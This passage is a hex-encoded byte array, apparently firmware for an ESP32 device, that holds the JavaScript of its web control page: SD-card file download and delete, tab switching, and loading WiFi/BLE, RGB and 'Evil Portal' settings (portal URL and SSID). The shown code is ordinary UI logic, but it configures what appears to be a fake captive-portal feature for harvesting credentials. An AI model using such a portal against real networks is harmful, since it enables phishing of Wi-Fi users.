0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, + 0x20, 0x62, 0x6C, 0x6F, 0x62, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, + 0x74, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x62, + 0x6C, 0x6F, 0x62, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x75, 0x72, 0x6C, 0x20, 0x3D, 0x20, + 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x2E, 0x55, 0x52, 0x4C, 0x2E, 0x63, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x55, + 0x52, 0x4C, 0x28, 0x62, 0x6C, 0x6F, 0x62, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x61, 0x20, 0x3D, + 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, + 0x22, 0x61, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, + 0x2E, 0x68, 0x72, 0x65, 0x66, 0x20, 0x3D, 0x20, 0x75, 0x72, 0x6C, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x2E, 0x64, 0x6F, 0x77, 0x6E, + 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x62, 0x61, 0x73, 0x65, 0x6E, + 0x61, 0x6D, 0x65, 0x28, 0x66, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, + 0x29, 0x3B, 0x20, 0x2F, 0x2F, 0x20, 0x55, 0x73, 0x65, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x20, + 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x61, 0x74, + 0x68, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x2E, 0x63, 0x6C, 0x69, + 0x63, 0x6B, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, + 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x2E, 0x55, 0x52, 0x4C, 0x2E, 0x72, 0x65, + 0x76, 0x6F, 0x6B, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x55, 0x52, + 0x4C, 0x28, 0x75, 0x72, 0x6C, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, + 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, + 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, + 0x74, 0x61, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, + 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, + 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, + 0x72, 0x74, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, + 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, + 0x22, 0x46, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x64, + 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, + 0x66, 0x69, 0x6C, 0x65, 0x2E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x73, + 0x79, 0x6E, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x28, + 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x66, 0x69, + 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, + 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x72, 0x6D, + 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x20, 0x3D, 0x20, 0x63, 0x6F, 0x6E, + 0x66, 0x69, 0x72, 0x6D, 0x28, 0x22, 0x41, 0x72, 0x65, 0x20, 0x79, 0x6F, + 0x75, 0x20, 0x73, 0x75, 0x72, 0x65, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x77, + 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x65, 0x6C, 0x65, 0x74, + 0x65, 0x20, 0x22, 0x20, 0x2B, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, + 0x6D, 0x65, 0x20, 0x2B, 0x20, 0x22, 0x3F, 0x22, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x69, 0x66, 0x20, 0x28, 0x21, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x72, 0x6D, + 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x29, 0x20, 0x72, 0x65, 0x74, 0x75, + 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, + 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x20, + 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, + 0x22, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, + 0x3F, 0x70, 0x61, 0x74, 0x68, 0x3D, 0x22, 0x20, 0x2B, 0x20, 0x65, 0x6E, + 0x63, 0x6F, 0x64, 0x65, 0x55, 0x52, 0x49, 0x28, 0x66, 0x69, 0x6C, 0x65, + 0x50, 0x61, 0x74, 0x68, 0x29, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x22, 0x44, + 0x45, 0x4C, 0x45, 0x54, 0x45, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x20, + 0x22, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, + 0x65, 0x22, 0x3A, 0x20, 0x22, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x22, 0x20, 0x7D, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, + 0x28, 0x21, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, + 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, + 0x61, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, 0x65, + 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, 0x28, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, + 0x74, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x44, 0x61, 0x74, 0x61, 0x2E, + 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, 0x22, + 0x46, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x65, + 0x6C, 0x65, 0x74, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x6C, + 0x65, 0x2E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6C, + 0x73, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, + 0x68, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, 0x44, 0x61, 0x74, 0x61, 0x28, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x74, 0x6F, 0x20, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x74, + 0x61, 0x62, 0x20, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, + 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6F, 0x70, 0x65, 0x6E, 0x54, + 0x61, 0x62, 0x28, 0x65, 0x76, 0x74, 0x2C, 0x20, 0x74, 0x61, 0x62, 0x4E, + 0x61, 0x6D, 0x65, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, + 0x74, 0x20, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, + 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x42, + 0x79, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x4E, 0x61, 0x6D, 0x65, 0x28, 0x22, + 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x22, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x28, 0x6C, 0x65, 0x74, 0x20, + 0x69, 0x20, 0x3D, 0x20, 0x30, 0x3B, 0x20, 0x69, 0x20, 0x3C, 0x20, 0x74, + 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2E, 0x6C, 0x65, + 0x6E, 0x67, 0x74, 0x68, 0x3B, 0x20, 0x69, 0x2B, 0x2B, 0x29, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, + 0x74, 0x65, 0x6E, 0x74, 0x5B, 0x69, 0x5D, 0x2E, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x72, 0x65, 0x6D, 0x6F, 0x76, 0x65, + 0x28, 0x22, 0x73, 0x68, 0x6F, 0x77, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x74, 0x61, 0x62, 0x6C, + 0x69, 0x6E, 0x6B, 0x73, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, + 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, + 0x6E, 0x74, 0x73, 0x42, 0x79, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x4E, 0x61, + 0x6D, 0x65, 0x28, 0x22, 0x74, 0x61, 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, + 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x28, 0x6C, 0x65, + 0x74, 0x20, 0x69, 0x20, 0x3D, 0x20, 0x30, 0x3B, 0x20, 0x69, 0x20, 0x3C, + 0x20, 0x74, 0x61, 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, 0x2E, 0x6C, 0x65, + 0x6E, 0x67, 0x74, 0x68, 0x3B, 0x20, 0x69, 0x2B, 0x2B, 0x29, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x61, 0x62, 0x6C, 0x69, 0x6E, + 0x6B, 0x73, 0x5B, 0x69, 0x5D, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, + 0x69, 0x73, 0x74, 0x2E, 0x72, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x28, 0x22, + 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, + 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, + 0x64, 0x28, 0x74, 0x61, 0x62, 0x4E, 0x61, 0x6D, 0x65, 0x29, 0x2E, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, + 0x28, 0x22, 0x73, 0x68, 0x6F, 0x77, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, + 0x76, 0x74, 0x2E, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, + 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x61, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, + 0x28, 0x74, 0x61, 0x62, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x3D, 0x3D, + 0x20, 0x22, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, 0x22, 0x29, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x53, + 0x44, 0x43, 0x61, 0x72, 0x64, 0x44, 0x61, 0x74, 0x61, 0x28, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x53, 0x65, 0x74, 0x20, 0x74, 0x68, 0x65, + 0x20, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x74, 0x61, 0x62, + 0x20, 0x74, 0x6F, 0x20, 0x6F, 0x70, 0x65, 0x6E, 0x20, 0x6F, 0x6E, 0x20, + 0x70, 0x61, 0x67, 0x65, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, + 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, + 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x22, 0x64, 0x65, 0x66, 0x61, + 0x75, 0x6C, 0x74, 0x54, 0x61, 0x62, 0x22, 0x29, 0x2E, 0x63, 0x6C, 0x69, + 0x63, 0x6B, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x6C, 0x6F, 0x61, 0x64, + 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x45, 0x53, 0x50, 0x33, 0x32, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6E, 0x67, 0x73, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, + 0x63, 0x68, 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6E, 0x67, 0x73, 0x27, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, + 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x3E, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, + 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, 0x28, 0x29, 0x29, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x64, + 0x61, 0x74, 0x61, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x57, 0x69, 0x46, + 0x69, 0x2F, 0x42, 0x4C, 0x45, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, + 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, + 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, + 0x27, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, + 0x70, 0x65, 0x65, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x62, 0x72, 0x6F, 0x61, + 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x3B, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2F, 0x2F, 0x20, 0x52, 0x47, 0x42, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, + 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, + 0x28, 0x27, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, + 0x64, 0x65, 0x27, 0x29, 0x2E, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, + 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x72, 0x61, 0x69, 0x6E, + 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, + 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, + 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x72, 0x67, 0x62, 0x5F, + 0x73, 0x70, 0x65, 0x65, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, + 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x72, 0x67, 0x62, + 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x45, 0x76, + 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, + 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, + 0x75, 0x72, 0x6C, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, + 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, + 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, + 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, + 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x3B, 0x0D, 